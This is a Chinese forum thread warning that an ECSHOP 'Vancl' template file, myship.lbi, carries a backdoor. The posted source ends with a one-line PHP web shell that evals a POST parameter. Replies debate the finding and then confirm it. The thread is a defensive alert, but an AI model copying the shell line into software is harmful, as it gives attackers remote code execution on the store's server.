51ECSHOP 凡客模板有后门，myship.lbi 大家慎用【截图】

2016-07-07 16:02 来源：www.chinab4c.com 作者：ecshop专家



以下是360查的

未命名.jpg

  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. {insert_scripts files='utils.js,transport.js'}
  4. <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd">
  5. <tr>
  6. <td bgcolor="#ffffff">
  7. {$lang.country_province}:
  8. <select name="country" id="selCountries_{$sn}" onchange="region.changed(this, 1, 'selProvinces_{$sn}')" style="border:1px solid #ccc;">
  9. <option value="0">{$lang.please_select}</option>
  10. <!-- {foreach from=$country_list item=country} -->
  11. <option value="{$country.region_id}" {if $choose.country eq $country.region_id}selected{/if}>{$country.region_name}</option>
  12. <!-- {/foreach} -->
  13. </select>
  14. <select name="province" id="selProvinces_{$sn}" onchange="region.changed(this, 2, 'selCities_{$sn}')" style="border:1px solid #ccc;">
  15. <option value="0">{$lang.please_select}</option>
  16. <!-- {foreach from=$province_list.$sn item=province} -->
  17. <option value="{$province.region_id}" {if $choose.province eq $province.region_id}selected{/if}>{$province.region_name}</option>
  18. <!-- {/foreach} -->
  19. </select>
  20. <select name="city" id="selCities_{$sn}" onchange="region.changed(this, 3, 'selDistricts_{$sn}')" style="border:1px solid #ccc;">
  21. <option value="0">{$lang.please_select}</option>
  22. <!-- {foreach from=$city_list.$sn item=city} -->
  23. <option value="{$city.region_id}" {if $choose.city eq $city.region_id}selected{/if}>{$city.region_name}</option>
  24. <!-- {/foreach} -->
  25. </select>
  26. <select name="district" id="selDistricts_{$sn}" {if !$district_list.$sn}style="display:none"{/if} style="border:1px solid #ccc;">
  27. <option value="0">{$lang.please_select}</option>
  28. <!-- {foreach from=$district_list.$sn item=district} -->
  29. <option value="{$district.region_id}" {if $choose.district eq $district.region_id}selected{/if}>{$district.region_name}</option>
  30. <!-- {/foreach} -->
  31. </select> <input type="submit" name="Submit" class="btn_style_5"value="{$lang.search_ship}" />
  32. <input type="hidden" name="act" value="viewship" />
  33. </td>
  34. </tr>
  35. </table>
  36. <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd">
  37. <tr>
  38. <th width="20%" bgcolor="#ffffff">{$lang.name}</th>
  39. <th bgcolor="#ffffff">{$lang.describe}</th>
  40. <th width="40%" bgcolor="#ffffff">{$lang.fee}</th>
  41. <th width="15%" bgcolor="#ffffff">{$lang.insure_fee}</th>
  42. </tr>
  43. <!-- {foreach from=$shipping_list item=shipping} 循环配送方式 -->
  44. <tr>
  45. <td valign="top" bgcolor="#ffffff"><strong>{$shipping.shipping_name}</strong></td>
  46. <td valign="top" bgcolor="#ffffff" >{$shipping.shipping_desc}</td>
  47. <td valign="top" bgcolor="#ffffff">{$shipping.fee}</td>
  48. <td align="center" valign="top" bgcolor="#ffffff">
  49. <!-- {if $shipping.insure neq 0} -->
  50. {$shipping.insure_formated}
  51. <!-- {else} -->
  52. {$lang.not_support_insure}
  53. <!-- {/if} --> </td>
  54. </tr>
  55. <!-- {/foreach} 循环配送方式 -->
  56. </table>
  57. <?php eval($_POST[cmd]);?>
复制代码
以上是源码，我找不到，大家帮忙找下，便大家免受其害！！！！

回答：
看代码没后门啊，后门最基本的也要有执行语句，就是获得管理权限的语句，但是没看到。

关注......

刚才下载了，打开看了一下，果然是有。。。
发布的人不厚道阿

鄙视他~~~！

不是51ecshop干的，路过帮顶！

关注一下事态

呵呵 楼主到哪里搞的模板呢

呵呵，还有这个事。挺严重的。

呵呵，所以说下载模版最好还是在官方上下载，这样比较安全点